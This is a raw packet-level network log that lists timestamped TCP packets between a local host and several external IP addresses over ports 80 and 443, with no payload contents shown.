Dec 20, 2024 13:12:46.239640951 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.239658117 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.239705086 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.240428925 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.240472078 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.240556955 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.241307020 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.241354942 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.241400003 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.242171049 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.242338896 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.242388964 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.243153095 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.243197918 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.243630886 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.243964911 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.244009018 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.244096994 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.244873047 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.244915962 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.245147943 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.245718956 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.245826960 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.245877981 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.246648073 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.246697903 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.246808052 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.247497082 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.247544050 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.247605085 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.248446941 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.248486996 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.248532057 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.249281883 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.249401093 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.249420881 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.250144958 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.250190020 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.250329971 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.251049995 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.251094103 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.251102924 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.251929045 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.251971960 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.252063036 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.252803087 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.252847910 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.252973080 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.253715038 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.253762960 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.253992081 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.254553080 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.254621983 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.254797935 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.255435944 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.255486012 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.255666971 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.256373882 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.256427050 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.256464005 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.257251024 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.257302999 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.257380009 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.258130074 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.258181095 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.258248091 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.259074926 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.259136915 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.259341955 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.259975910 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.260107040 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.260159016 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.260791063 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.260895967 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.260956049 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.261665106 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.261722088 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.261780977 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.262527943 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.262587070 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.262927055 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.263412952 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.264329910 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.264345884 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.264362097 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.264389038 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.264421940 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.265181065 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.265238047 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.265353918 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.266125917 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.266371012 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.266423941 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.266964912 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.267169952 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.267225981 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.267865896 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.267923117 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.268281937 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.268734932 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.268800020 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.269113064 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.269623995 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.269946098 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.270004034 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.270591974 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.270808935 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.270863056 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.271348953 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.271476030 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.271532059 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.272248030 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.272320986 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.272388935 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.273134947 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.273211002 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.273329020 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.274091959 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.274205923 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.274260044 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.274912119 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.275166035 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.275222063 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.275808096 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.275862932 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.275971889 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.276701927 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.276755095 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.277040958 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.277565956 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.277626991 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.277772903 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.278491974 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.278551102 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.344161987 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.377463102 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.377618074 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.377677917 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.377901077 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.378412008 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.378463030 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.378812075 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.379287004 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.379364967 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.379693985 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.400615931 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.427937984 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.427963972 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.427982092 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.427999973 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.428020954 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.428035021 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.428067923 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.429817915 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.430641890 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.430826902 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.430844069 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.430879116 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.430910110 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.431626081 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.431644917 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.431715965 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.432049990 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.432202101 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.432250023 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.433229923 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.433248043 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.433644056 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.433876991 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.434043884 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.434094906 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.434979916 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.435149908 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.435204983 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.435689926 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.435708046 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.435762882 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.436489105 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.436814070 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.436865091 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.437536955 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.437555075 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.437604904 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.438491106 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.438508034 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.438559055 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.439273119 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.439692974 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.439743996 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.440227985 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.440244913 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.440290928 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.441210032 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.441344976 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.441479921 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.442059994 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.442485094 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.442756891 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.442811012 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.443078041 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.443799973 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.443850994 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.444412947 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.444461107 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.444776058 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.445346117 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.445404053 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.445487976 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.445506096 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.445557117 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.446163893 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.446479082 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.446496964 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.446533918 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.446635008 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.446682930 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.447371960 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.448314905 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.448332071 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.448364973 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.448544025 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.448971987 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.451375008 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.451530933 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.451546907 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.451565027 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.451582909 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.451585054 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.451601982 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.451616049 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.451639891 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.451785088 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.452085018 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.452749968 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.452770948 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.452943087 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.452996016 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.453547955 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.453605890 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.454376936 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.454430103 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.454534054 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.455219984 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.455266953 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.455883980 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.455935955 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.456103086 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.457062006 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.457077980 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.457117081 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.457133055 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.457865953 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.457916975 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.458316088 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.458762884 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.458815098 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.458964109 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.459012032 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.459633112 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.460052013 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.460508108 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.460557938 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.461419106 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.461433887 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.461450100 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.461483002 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.461513996 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.462322950 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.462455034 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.463179111 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.463246107 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.463639021 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.464076996 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.464128971 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.464425087 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.464476109 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.464947939 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.465908051 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.465939999 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:46.465969086 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.465984106 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:46.468007088 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:46.469557047 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:46.469575882 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:46.498473883 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.589793921 CET	80	49931	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:46.589864016 CET	49931	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:46.677901983 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:46.678358078 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:46.798686028 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:46.798701048 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:46.798768044 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:46.798794985 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:46.798980951 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:46.915982008 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.916019917 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:46.916109085 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:46.918637037 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:47.927746058 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:47.927855968 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:47.929405928 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:47.929449081 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:47.929848909 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:47.931463957 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:47.931504011 CET	49936	443	192.168.2.5	178.62.201.34
Dec 20, 2024 13:12:47.931567907 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:48.124609947 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124620914 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124627113 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124651909 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124671936 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124680042 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124684095 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124689102 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124824047 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.124928951 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.124994993 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.125603914 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.244461060 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.244524956 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.244529009 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.244590998 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.244627953 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.248692989 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.248752117 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.316934109 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.317040920 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.317135096 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.317193031 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.321037054 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.321121931 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.322248936 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.329623938 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.329667091 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.330080986 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.337822914 CET	80	49937	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:48.338298082 CET	49937	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:48.502748966 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:48.502852917 CET	443	49936	178.62.201.34	192.168.2.5
Dec 20, 2024 13:12:48.502949953 CET	49936	443	192.168.2.5	178.62.201.34
